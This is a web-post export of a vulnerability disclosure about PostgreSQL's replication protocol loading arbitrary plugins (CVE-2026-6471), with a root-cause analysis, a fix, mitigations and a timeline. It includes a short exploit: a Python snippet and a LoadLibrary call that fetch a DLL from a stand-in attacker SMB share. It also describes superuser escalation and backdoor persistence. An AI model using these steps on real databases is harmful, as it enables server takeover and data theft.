{"id":23831,"date":"2026-09-09T05:57:31","date_gmt":"2026-09-09T05:57:31","guid":{"rendered":"https:\/\/scannn.com\/the-database-powering-much-of-the-internet-had-an-open-door-for-12-years\/"},"modified":"2026-09-09T05:57:31","modified_gmt":"2026-09-09T05:57:31","slug":"the-database-powering-much-of-the-internet-had-an-open-door-for-12-years","status":"publish","type":"post","link":"https:\/\/scannn.com\/lv\/the-database-powering-much-of-the-internet-had-an-open-door-for-12-years\/","title":{"rendered":"The database powering much of the internet had an open door for 12 years"},"content":{"rendered":"\n<div fs-toc-offsettop=\"8rem\" fs-toc-element=\"contents\">\n<p>Imagine you&#8217;ve built a fortress. Guards at the front gate, scanners at every door, a guest list checked twice. You hired the best architects, ran the audits, passed the compliance reviews. By every measure, the place is locked down.<\/p>\n<p>But you missed something. Around the back, there&#8217;s a small, unmarked entrance used by the cleaning crew. It&#8217;s been there for years, and nobody thought to put a guard on it.<\/p>\n<p>Then one day, someone figures out that if you walk in through that entrance wearing a cleaning uniform, the entire fortress opens up: the armory, the vault, the control room. Once you&#8217;re inside, everyone assumes you belong.<\/p>\n<p>That&#8217;s PostGREShell. The &#8220;fortress&#8221; is PostgreSQL, the database quietly powering much of the internet. The &#8220;cleaning crew entrance&#8221; is the replication protocol, used by backup accounts present in every PostgreSQL setup. The vulnerability we discovered means anyone with access to that entrance can bypass every security system PostgreSQL has built, load arbitrary code onto the server, escalate to full superuser, and install a backdoor that survives cleanup.<\/p>\n<p>It&#8217;s been sitting there, unguarded, since 2014.<\/p>\n<h2>TL;DR<\/h2>\n<p>Cyera Research discovered a critical vulnerability (<a href=\"https:\/\/www.postgresql.org\/support\/security\/CVE-2026-6471\/\" data-wf-native-id-path=\"c529ec00-913e-5401-1c69-8859a723a764\" data-wf-ao-click-engagement-tracking=\"true\" data-wf-element-id=\"c529ec00-913e-5401-1c69-8859a723a764\">CVE-2026-6471<\/a>) in PostgreSQL, the world&#8217;s #1 open-source database that\u2019s used by 39,000+ companies including Netflix, Instagram, Spotify, and Uber.<\/p>\n<p>The flaw lets a low-privilege &#8220;backup&#8221; account load and execute arbitrary code on the database server, achieving remote code execution across Windows, Linux, and macOS. That foothold escalates to full PostgreSQL superuser with persistent backdoor access, turning a routine replication account into total database and server compromise.<\/p>\n<p>The vulnerability has existed in every PostgreSQL version since 2014 (9.4+) and was never patched until now. A threat hunt across VirusTotal turned up 114 malicious PostgreSQL plugins already in the wild, including trojans, cryptocurrency miners, and reverse shells.<\/p>\n<h2>Why the blast radius is enormous<\/h2>\n<p>Every time you stream Netflix, scroll Instagram, book an Uber, or open Spotify, a database is handling millions of transactions behind the scenes. For a huge share of the internet, that database is PostgreSQL. It\u2019s the world&#8217;s most popular open-source database, <a href=\"https:\/\/db-engines.com\/en\/ranking\" data-wf-native-id-path=\"c529ec00-913e-5401-1c69-8859a723a76f\" data-wf-ao-click-engagement-tracking=\"true\" data-wf-element-id=\"c529ec00-913e-5401-1c69-8859a723a76f\">fourth-most popular<\/a> overall, and the top choice among professional developers. It&#8217;s the engine behind AWS RDS, Azure Database, Google Cloud SQL, Supabase, and Neon, and it&#8217;s used in production by 39,000+ verified companies.<\/p>\n<p>PostgreSQL isn&#8217;t just storing cat photos and shopping carts. It runs financial transactions, medical records, government infrastructure, SaaS platforms, and AI\/ML pipelines. That means a critical vulnerability brings a huge blast radius.<\/p>\n<h2>The vulnerability: one door has a guard, the other doesn&#8217;t<\/h2>\n<h3>Why databases have &#8220;backup accounts&#8221;\u00a0<\/h3>\n<p>In production you rarely run one copy of a database. You run a primary that handles writes and one or more replicas kept in sync for backups, disaster recovery, and read scaling. PostgreSQL syncs them over a dedicated replication protocol, and to use it you need an account with the REPLICATION attribute. These accounts are everywhere. Every backup tool, standby server, CDC pipeline, and monitoring system that reads the write-ahead log uses one. They&#8217;re treated as low-risk operational plumbing \u2014 PostgreSQL&#8217;s own docs describe the attribute as needed to &#8220;initiate streaming replication,&#8221; not to run code.<\/p>\n<figure style=\"max-width:2048pxpx\" class=\"w-richtext-align-fullwidth w-richtext-figure-type-image\">\n<div><\/div>\n<\/figure>\n<h3>The output plugin<\/h3>\n<p>Logical replication (<code>wal_level = logical<\/code>) records changes as table events external tools can read. This is the basis for Change Data Capture, Debezium, cloud migrations, and real-time analytics. A client reads those changes by creating a <em>logical replication slot<\/em>, and each slot names an <em>output plugin<\/em> (like <code>pgoutput<\/code> or <code>wal2json<\/code>) that PostgreSQL loads to format the stream.<\/p>\n<p>Here&#8217;s the problem: that plugin name goes straight to the loader.<\/p>\n<p>PostgreSQL plugins are compiled code files (<code>.so<\/code>, <code>.dll<\/code>, <code>.dylib<\/code>) loaded into the database&#8217;s own process. When one loads, PostgreSQL runs its <code>_PG_init()<\/code> function immediately, with the full privileges of the server process (similar to a phone app, but one that runs as root with no permission prompt). PostgreSQL knows this is dangerous, so it built a security mechanism called <code>check_restricted_library_name()<\/code> that forces non-superusers to load plugins only from one safe, admin-controlled directory, with no path traversal or absolute paths.<\/p>\n<p>Let&#8217;s look at what happens when PostgreSQL loads that plugin<\/p>\n<p>static void<br \/>\nLoadOutputPlugin(OutputPluginCallbacks *callbacks, const char *plugin)<br \/>\n{<br \/>\n    LogicalOutputPluginInit plugin_init;<br \/>\n    plugin_init = (LogicalOutputPluginInit)<br \/>\n        load_external_function(plugin, &#8220;_PG_output_plugin_init&#8221;, false, NULL);<\/p>\n<p>That mechanism works. It&#8217;s just never called on the replication path.\u00a0<\/p>\n<p>When PostgreSQL loads the output plugin, the name from the user&#8217;s <code>CREATE_REPLICATION_SLOT<\/code> command is passed directly to the loader. No validation, no sanitization, no restriction check. The SQL <code>LOAD<\/code> command, by contrast, passes a <code>!superuser()<\/code> flag that triggers the path validation. The replication path passes nothing. And the replication protocol&#8217;s parser accepts almost any character inside a double-quoted plugin name: slashes, backslashes, dots, ..\/ traversal, even Windows UNC paths. So an attacker can hand the loader a full filesystem path, and it reaches <code>dlopen() <\/code>(Linux\/macOS) or <code>LoadLibrary()<\/code> (Windows) exactly as typed.<\/p>\n<figure style=\"max-width:2048pxpx\" class=\"w-richtext-align-fullwidth w-richtext-figure-type-image\">\n<div><img decoding=\"async\" alt=\"\" src=\"https:\/\/cdn.prod.website-files.com\/694a42d655201e09edb32d65\/6a97480530204636dc960167_a6758afc.png\" loading=\"lazy\"\/><\/div>\n<\/figure>\n<p>The whole bug is code execution via <code>dlopen()<\/code>. The fix is two lines of C:<\/p>\n<p><iframe src=\"https:\/\/cyera-snippet.vercel.app\/embed#c=aWYgKGZpcnN0X2Rpcl9zZXBhcmF0b3IocGx1Z2luKSAhPSBOVUxMKQogICAgZXJlcG9ydChFUlJPUiwgZXJybXNnKCJwbHVnaW4gbmFtZSBtdXN0IG5vdCBjb250YWluIGRpcmVjdG9yeSBzZXBhcmF0b3JzIikpOw&amp;t=cyera-light&amp;l=cpp&amp;ti=UE9DIMK3IFdPUktGTE9XIENPREUgTk9ERSAoQUJSSURHRUQp\" style=\"border:0;display:block;width:100%;max-width:718px;aspect-ratio:718\/184;min-height:184px;border-radius:10px;overflow:hidden\" allow=\"clipboard-write\" loading=\"lazy\" title=\"Cyera Snippet\"><br \/>\n<\/iframe><\/p>\n<p>Two lines of code is what\u2019s left this vulnerability open since 2014.<\/p>\n<h2>What can an attacker do with this?<\/h2>\n<p>The vulnerability is universal, existing on every platform PostgreSQL runs on. What differs is only how an attacker gets a malicious library to the loader.\u00a0<\/p>\n<p><strong>Windows:<\/strong> fully remote, out of the box. Windows resolves UNC paths (<code>\\\\server\\share\\file<\/code>) transparently over SMB. When PostgreSQL calls <code>LoadLibrary(\"\\\\attacker\\share\\evil.dll\")<\/code>, Windows silently connects to the attacker&#8217;s SMB server, downloads the DLL, maps it into the PostgreSQL process, and <code>_PG_init()<\/code> runs. The attacker never touches the target&#8217;s filesystem \u2014 they host the DLL on their own machine and send one command.<\/p>\n<p>All that, and the exploit fits in three lines of Python:<\/p>\n<p><iframe src=\"https:\/\/cyera-snippet.vercel.app\/embed#c=Y29ubiA9IHBzeWNvcGcyLmNvbm5lY3QoaG9zdD0idGFyZ2V0IiwgdXNlcj0icmVwbF9hdHRhY2tlciIsCiAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzd29yZD0icmVwbDEyMyIsIGRibmFtZT0icG9zdGdyZXMiLAogICAgICAgICAgICAgICAgICAgICAgICAgcmVwbGljYXRpb249ImRhdGFiYXNlIikKY29ubi5hdXRvY29tbWl0ID0gVHJ1ZQpjb25uLmN1cnNvcigpLmV4ZWN1dGUoJ0NSRUFURV9SRVBMSUNBVElPTl9TTE9UIHggTE9HSUNBTCAiXFxcXGF0dGFja2VyXFxzaGFyZVxcZXZpbCInKQ&amp;t=cyera-light&amp;l=python&amp;ti=UE9DIMK3IFdPUktGTE9XIENPREUgTk9ERSAoQUJSSURHRUQp\" style=\"border:0;display:block;width:100%;max-width:765px;aspect-ratio:765\/250;min-height:240px;border-radius:10px;overflow:hidden\" allow=\"clipboard-write\" loading=\"lazy\" title=\"Cyera Snippet\"><br \/>\n<\/iframe><\/p>\n<figure style=\"max-width:1971pxpx\" class=\"w-richtext-align-fullwidth w-richtext-figure-type-image\">\n<div><img decoding=\"async\" alt=\"\" src=\"https:\/\/cdn.prod.website-files.com\/694a42d655201e09edb32d65\/6a97480530204636dc96016a_62117198.png\" loading=\"lazy\"\/><\/div>\n<\/figure>\n<p>All it takes is a PostgreSQL account with the REPLICATION attribute (not superuser, not admin), <code>wal_level = logical <\/code>on the server, and SMB port 445 reachable from the server to the attacker.<\/p>\n<h2>From backup account to superuser<\/h2>\n<p>At this point, the attacker has code running on your database server as the <code>postgres<\/code> system user. Inside PostgreSQL, they&#8217;re still just a backup account, but that doesn&#8217;t last.<\/p>\n<p>PostgreSQL has two layers of security. SQL-level security \u2014 ACLs, permission gates, role-based access, row-level security \u2014 is well-built and well-tested. C-level security doesn&#8217;t exist. Code loaded via <code>dlopen() <\/code>runs in the same address space as PostgreSQL, with no sandbox and no checks on internal API calls. The server simply trusts any code that was loaded.<\/p>\n<figure style=\"max-width:2048pxpx\" class=\"w-richtext-align-fullwidth w-richtext-figure-type-image\">\n<div><img decoding=\"async\" alt=\"\" src=\"https:\/\/cdn.prod.website-files.com\/694a42d655201e09edb32d65\/6a97480530204636dc96016d_10b799a9.png\" loading=\"lazy\"\/><\/div>\n<\/figure>\n<p>So the plugin calls an internal function to become the bootstrap superuser for the session, then writes directly to <code>pg_authid<\/code>, the catalog table that defines who is a superuser, and flips every privilege flag to true. That write never passes through the SQL executor, so no ACL check ever fires. For good measure, it installs a hook that makes every permission check return &#8220;allowed.&#8221; The attacker&#8217;s role goes from this:<\/p>\n<p><iframe src=\"https:\/\/cyera-snippet.vercel.app\/embed#c=ICAgIHJvbG5hbWUgICAgfCByb2xzdXBlciB8IHJvbGNyZWF0ZXJvbGUgfCByb2xjcmVhdGVkYiB8IHJvbGJ5cGFzc3JscwstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLQsgcmVwbF9hdHRhY2tlciB8IGYgICAgICAgIHwgZiAgICAgICAgICAgICB8IGYgICAgICAgICAgIHwgZgo&amp;t=cyera-light&amp;l=sql&amp;ti=UE9DIMK3IFdPUktGTE9XIENPREUgTk9ERSAoQUJSSURHRUQp\" style=\"border:0;display:block;width:100%;max-width:1663px;aspect-ratio:1663\/162;min-height:162px;border-radius:10px;overflow:hidden\" allow=\"clipboard-write\" loading=\"lazy\" title=\"Cyera Snippet\"><br \/>\n<\/iframe><\/p>\n<p>to this:<\/p>\n<p><iframe src=\"https:\/\/cyera-snippet.vercel.app\/embed#c=ICAgICByb2xuYW1lICAgIHwgcm9sc3VwZXIgfCByb2xjcmVhdGVyb2xlIHwgcm9sY3JlYXRlZGIgfCByb2xieXBhc3NybHMLLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0LIHJlcGxfYXR0YWNrZXIgfCB0ICAgICAgICB8IHQgICAgICAgICAgICAgfCB0ICAgICAgICAgICB8IHQ&amp;t=cyera-light&amp;l=sql&amp;ti=UE9DIMK3IFdPUktGTE9XIENPREUgTk9ERSAoQUJSSURHRUQp\" style=\"border:0;display:block;width:100%;max-width:1670px;aspect-ratio:1670\/162;min-height:162px;border-radius:10px;overflow:hidden\" allow=\"clipboard-write\" loading=\"lazy\" title=\"Cyera Snippet\"><br \/>\n<\/iframe><\/p>\n<p>The change is permanent, survives restarts, and looks identical to a normal <code>ALTER ROLE<\/code> in the catalog, so no admin can tell it was made through an unauthorized path. With superuser, the attacker reads every table in every database: customer data, financial records, application secrets, stored credentials. And PostgreSQL superusers can run OS commands (<code>COPY \u2026 TO PROGRAM<\/code>), read arbitrary files like <code>\/etc\/shadow <\/code>or private keys (<code>pg_read_file()<\/code>), and write files anywhere <code>postgres<\/code> can (<code>lo_export()<\/code>). They&#8217;re not just in your database \u2014 they&#8217;re on your server, ready to pivot with the credentials they just harvested.<\/p>\n<h2>The backdoor<\/h2>\n<p>Attackers want to come back. The plugin sets up three persistence mechanisms that cover each other. It rewrites <code>pg_hba.conf<\/code> to allow anyone to connect as anyone, without a password, and reloads the config instantly. It copies itself to a stable location and registers in <code>shared_preload_libraries<\/code>, so it reloads into every new backend after a restart. And it re-applies the superuser change even if an admin reverts it. So an admin who finds and fixes one backdoor still has two more to catch.<\/p>\n<h2>You&#8217;ve seen this before<\/h2>\n<p>PostGREShell is the latest instance of a vulnerability class that keeps recurring: a server loads plugins, the plugin name isn&#8217;t validated, and an attacker abuses it to run code. The poster child is Redis, whose <code>MODULE LOAD<\/code> command has powered multiple botnet campaigns. HeadCrab alone infected 1,200+ Redis servers to mine cryptocurrency, and &#8220;RediShell&#8221; (CVE-2025-49844, CVSS 10.0) sat exposed for roughly 13 years across roughly 330,000 internet-facing instances.<\/p>\n<p>The same pattern has hit OpenVPN (plugins loadable from any directory), MySQL (attacker-controlled shared libraries, which also affected MariaDB and Percona), MongoDB (uncontrolled <code>dlopen()<\/code> search path), and SQLite JDBC (arbitrary extension loading via a malicious JDBC URL).\u00a0<\/p>\n<p>The defenses are well-known, but this keeps happening because plugin-loading code is usually built separately from the main security model. That\u2019s exactly what happened here, where PostgreSQL&#8217;s core team guarded the SQL <code>LOAD<\/code> path and the replication team never connected the two.<\/p>\n<h2>Why this matters<\/h2>\n<p>PostGREShell turns the REPLICATION credential nobody worries about into code execution, superuser, and a persistent backdoor on the database behind much of the internet. Every version from 9.4 through 18 is affected (we confirmed it on 18.2), and logical replication is now standard production plumbing, so the vulnerable path exists almost everywhere PostgreSQL runs. Like Redis before it, this is a plugin-loading bug that ships wide and sits quiet, the unguarded back entrance to a fortress everyone assumed was locked.<\/p>\n<h2>How to protect yourself<\/h2>\n<p>Start by applying the recently released PostgreSQL security update. Then audit your REPLICATION accounts on every PostgreSQL instance:<\/p>\n<p><iframe src=\"https:\/\/cyera-snippet.vercel.app\/embed#c=U0VMRUNUIHJvbG5hbWUsIHJvbHN1cGVyLCByb2xyZXBsaWNhdGlvbiwgcm9sY2FubG9naW4KRlJPTSBwZ19yb2xlcyBXSEVSRSByb2xyZXBsaWNhdGlvbiA9IHRydWU7&amp;t=cyera-light&amp;l=sql&amp;ti=UE9DIMK3IFdPUktGTE9XIENPREUgTk9ERSAoQUJSSURHRUQp\" style=\"border:0;display:block;width:100%;max-width:507px;aspect-ratio:507\/184;min-height:184px;border-radius:10px;overflow:hidden\" allow=\"clipboard-write\" loading=\"lazy\" title=\"Cyera Snippet\"><br \/>\n<\/iframe><\/p>\n<p>Remove the REPLICATION attribute from any account that doesn&#8217;t strictly need it. For the ones that remain, lock down <code>pg_hba.conf<\/code> so they connect only from known, trusted IPs. Never use <code>0.0.0.0\/0<\/code> for replication.\u00a0<\/p>\n<p><iframe src=\"https:\/\/cyera-snippet.vercel.app\/embed#c=aG9zdCByZXBsaWNhdGlvbiByZXBsX3VzZXIgMTAuMC4xLjUvMzIgc2NyYW0tc2hhLTI1Ngo&amp;t=cyera-light&amp;l=sql&amp;ti=UE9DIMK3IFdPUktGTE9XIENPREUgTk9ERSAoQUJSSURHRUQp\" style=\"border:0;display:block;width:100%;max-width:500px;aspect-ratio:500\/162;min-height:162px;border-radius:10px;overflow:hidden\" allow=\"clipboard-write\" loading=\"lazy\" title=\"Cyera Snippet\"><br \/>\n<\/iframe><\/p>\n<p>Block outbound SMB (445) and NFS (2049) from your database servers at the firewall, which eliminates the standalone RCE paths on Windows and NFS-enabled Linux\/macOS; disable autofs where it isn&#8217;t needed. Monitor for anomalous replication activity, like <code>CREATE_REPLICATION_SLOT<\/code> from unexpected IPs, plugin names containing <code>\/<\/code>, <code>\\<\/code>, or .., and slots with unusual names.\u00a0<\/p>\n<p><strong>A quick checklist to run through now:<\/strong><\/p>\n<ol role=\"list\">\n<li>Update PostgreSQL with the security patch.<\/li>\n<li>Audit your REPLICATION accounts today.<\/li>\n<li>Block outbound SMB\/NFS from your database servers.<\/li>\n<li>Review <code>pg_hba.conf<\/code> for overly permissive replication rules.<\/li>\n<li>Share this with your DBAs, security teams, and infrastructure engineers.<\/li>\n<\/ol>\n<h2>Disclosure timeline<\/h2>\n<ul role=\"list\">\n<li><strong>Feb 21, 2026:<\/strong> Reported to the PostgreSQL Security Team with root-cause analysis, affected versions, exploitation details, a Windows PoC, and suggested fixes.<\/li>\n<li><strong>Feb 27, 2026:<\/strong> PostgreSQL acknowledged and confirmed the vulnerability (Noah Misch: &#8220;I agree this is a vulnerability. We&#8217;ll fix it.&#8221;).<\/li>\n<li><strong>Mar 16, 2026:<\/strong> PostgreSQL confirmed the fix would ship in a scheduled minor release.<\/li>\n<li><strong>May 14, 2026:<\/strong> Expected minor release \/ public advisory. CVE-2026-6471 assigned.<\/li>\n<li><strong>August 22, 2026: <\/strong>Release published, <a href=\"https:\/\/www.postgresql.org\/support\/security\/CVE-2026-6471\/\" data-wf-native-id-path=\"c529ec00-913e-5401-1c69-8859a723a86d\" data-wf-ao-click-engagement-tracking=\"true\" data-wf-element-id=\"c529ec00-913e-5401-1c69-8859a723a86d\">CVE-2026-6471<\/a>.<\/li>\n<\/ul>\n<h2>Acknowledgments<\/h2>\n<p>Cyera Research Labs thanks Noah Misch and the rest of the PostgreSQL Security Team for reviewing the report, confirming the vulnerability, and coordinating the fix through PostgreSQL&#8217;s security release process. We appreciate their work to protect the PostgreSQL community.<\/p>\n<p><em>For a deeper technical breakdown of the PostgreSQL vulnerability we found, <\/em><a href=\"https:\/\/cdn.prod.website-files.com\/69443372754a5005a10559a5\/6a9748b35fd7f0256fac2539_PostGREShell%20Blog%20PDF_v3-compressed.pdf\" data-wf-native-id-path=\"c529ec00-913e-5401-1c69-8859a723a877\" data-wf-ao-click-engagement-tracking=\"true\" data-wf-element-id=\"c529ec00-913e-5401-1c69-8859a723a877\"><em>check out the full write-up<\/em><\/a><em>.<\/em><\/p>\n<p>&#x200d;<\/p>\n<\/div>\n<p><a href=\"https:\/\/www.cyera.com\/pt-br\/research\/postgreshell-the-database-powering-much-of-the-internet-had-an-open-door-for-12-years?utm_source=tldrinfosec\">Source link <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Imagine you&#8217;ve built a fortress. Guards at the front gate, scanners at every door, a guest list checked twice. You hired the best architects, ran the audits, passed the compliance reviews. By every measure, the place is locked down. But you missed something. Around the back, there&#8217;s a small, unmarked entrance used by the cleaning [&hellip;]<\/p>\n","protected":false},"author":16,"featured_media":23832,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[143],"tags":[],"class_list":["post-23831","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ai"],"_links":{"self":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/posts\/23831","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/comments?post=23831"}],"version-history":[{"count":0,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/posts\/23831\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/media\/23832"}],"wp:attachment":[{"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/media?parent=23831"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/categories?post=23831"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/scannn.com\/lv\/wp-json\/wp\/v2\/tags?post=23831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}